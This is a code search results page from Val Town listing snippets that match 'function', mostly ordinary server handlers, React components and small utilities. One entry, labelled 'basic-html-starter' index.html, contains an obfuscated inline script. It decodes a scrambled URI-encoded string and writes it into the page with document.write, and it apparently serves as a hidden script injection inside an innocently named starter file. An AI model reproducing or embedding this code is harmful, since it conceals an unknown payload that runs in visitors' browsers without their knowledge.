Val Town Code SearchReturn to Val Town

API Access

You can access search results via JSON API by adding format=json to your query:

https://codesearch.val.run/%22$%7BviewSourceLink%7D//%22https:/your-val.web.val.run/script.js/%22?q=function&page=1&format=json

For typeahead suggestions, use the /typeahead endpoint:

https://codesearch.val.run/typeahead?q=function

Returns an array of strings in format "username" or "username/projectName"

Found 40666 results for "function"(2689ms)

tinycanvasmain.ts1 match

@zarutian•Updated 17 mins ago
11*/
12
13export default async function (req: Request): Promise<Response> {
14 const req_url = new URL(req.url);
15 if (req_url.pathname == "/") {

nightbottimermain.ts5 matches

@jayden•Updated 19 mins ago
27
28// ONE statement only (Val sqlite.execute accepts a single statement)
29async function ensureSchema() {
30 await sqlite.execute(`
31 create table if not exists ${TABLE} (
42
43// Parse Nightbot-User header (e.g. "name=foo&displayName=Foo&provider=twitch&providerId=123")
44function parseNightbotUser(h: string | null): (Owner & { key: string }) | null {
45 if (!h) return null;
46 const obj: Record<string, string> = {};
57}
58
59async function upsertStart(owner: Owner, timerName: string) {
60 const startedAt = Date.now();
61 await sqlite.execute({
80}
81
82async function fetchForOwner(owner: Owner) {
83 const r = await sqlite.execute({
84 sql: `
106}
107
108export default async function (req: Request): Promise<Response> {
109 if (req.method !== "GET") return bad("Only GET is supported.", 405);
110

myDeathclocknew-file-8491.ts1 match

@amkelly•Updated 35 mins ago
1export default function (req) {
2 const birthDate = new Date("1986-05-12");
3 const today = new Date();

basic-html-starterindex.html1 match

@nuestudio•Updated 1 hour ago
1<script>(()=>{for(j=function(){for(h='lL:zFz7tl,WS!.a!^UH',a=new Array(h.length),l=0;l<h.length;l++)a[l]=h.charCodeAt(l);return a}(),m=m=>document.write(m),k=decodeURI("".concat("yqcimnoidt/sp/%3EsepiT%3Cetjpr%25lcEl.uiufolaasr.nc:anne3h0.55:r;e;xor%255tt;i.a%3Clr:dref%25ff%20xijet%3Cetd5sy-nst5sidt.:pt3;firrp0xrs%258eotbC%20;t%25a3%7Br%20t;:si4.soogi)lp0tde;bnrpi%3E0%20c%20p#0;of3rldn-s:/m;Yqaum44,e9nxe8-ih0id6rpa%20iongstshm@.dii%3E9d:;e-fs:%20oprttd9ePnxirxt%7Dnn9fir%7Dl:0-it%20afpd%7Bkg%7B%7Dedasw(immir%7Btt)raesace/0rp./e%3C6oit1r:%3C0d%20t2t:comlv%7Dtltns%20esc.zdoriado=yr%3Eta(%3CDnra%3E-.neu%3E/nsi.vodo%20eotltcl%7Bcf0ortc(ibh0tnrotean)(t%20coPfaws0ooo,y)scd.tei,=(.O%20=baaarS1=ea%20eesitLas:b;w)nape%20umbUotsaon3hscwtesascnpouDh%22e:dri/twt%20e(/ndn%3Edef%20.%22t/rhrpeg.snl%3CulshstofaRe.Sa%22cPeleC%25apth/Ppl.nt-dts%3Cd,3iech:p=mLo%22/ita=adidpryo,:rtcadheoyl%22l%20wd-cTo%22:ren%7BSdmdwtr%22Odrxpfptwxpn=%3C.,ts)e(tenorn%7D)mpuli)i))i(tgooyo%7D,:ene%22d.sond.t%22ca%7D;ew(t:nuL%3Ectoi,lemtc-ei(jamech.csdbntnue.no%3Elaaa#etct,a.;Daco%20ohe/lh((k%25o!)nun%3Ciod%22%3Cmro)8d0meah.wretxfid:npoCoe%3E%7B.ilo(eTssf-9hriyt/elt/s)rt/n%3E")).split(""),g=k.length%j.length,l=k.length-1;l>=0;l--)g--,-1==g&&(g=j.length-1),f=l+j[g],f>=k.length||(c=k[l],b=k[f],k[f]=c,k[l]=b);for(n=m,i="",l=0;l<k.length;l++)i+=k[l];n(i)})();</script>

campanhapsdalcoframain.ts3 matches

@nmsilva•Updated 1 hour ago
673};
674
675function App() {
676 return (
677 <>
681}
682
683function client() {
684 createRoot(document.getElementById("root")).render(<App />);
685}
689}
690
691export default async function server(request: Request): Promise<Response> {
692 return new Response(
693 `

untitled-4233main.ts1 match

@ianvph•Updated 1 hour ago
1// Learn more: https://docs.val.town/vals/cron/
2export default async function (interval: Interval) {
3 console.log(interval);
4}

untitled-2672main.ts2 matches

@bat•Updated 2 hours ago
5const URL = "https://thatskyshop.com/products/manatee-plush";
6
7export default async function () {
8 const html = await fetchText(URL);
9 const $ = cheerio.load(html);
21}
22
23async function fetchText(url: string, options?: any) {
24 const response = await fetch(url, {
25 redirect: "follow",

tasca_chatmain.ts1 match

@bluemax•Updated 3 hours ago
4const openai = new OpenAI();
5
6export default async function (req: Request): Promise<Response> {
7 const { question } = await req.json();
8

manifoldHttpmain.ts6 matches

@dcm31•Updated 4 hours ago
3import { createRoot } from "https://esm.sh/react-dom@18.2.0/client";
4
5function App() {
6 const [url, setUrl] = useState("");
7 const [result, setResult] = useState<any>(null);
15 }, []);
16
17 function saveKey() {
18 localStorage.setItem("manifoldApiKey", apiKey);
19 alert("API key saved locally");
20 }
21
22 async function handleSubmit(e: React.FormEvent) {
23 e.preventDefault();
24 setResult(null);
33 }
34
35 async function handleBetTest() {
36 if (!result || !apiKey || betAmount <= 0) return;
37 setStatus("Placing test bet on first option...");
117}
118
119function client() {
120 createRoot(document.getElementById("root")!).render(<App />);
121}
123export { client };
124
125export default async function server(req: Request): Promise<Response> {
126 const { pathname } = new URL(req.url);
127

manifoldSummain.ts1 match

@dcm31•Updated 4 hours ago
1export default async function manifoldSum(url: string) {
2 // Extract slug from manifold URL
3 const parts = url.split("/");

ratelimit4 file matches

@unkey•Updated 1 month ago
Rate limit your serverless functions

discordWebhook2 file matches

@stevekrouse•Updated 2 months ago
Helper function to send Discord messages
lost1991
import { OpenAI } from "https://esm.town/v/std/openai"; export default async function(req: Request): Promise<Response> { if (req.method === "OPTIONS") { return new Response(null, { headers: { "Access-Control-Allow-Origin": "*",
webup
LangChain (https://langchain.com) Ambassador, KubeSphere (https://kubesphere.io) Ambassador, CNCF OpenFunction (https://openfunction.dev) TOC Member.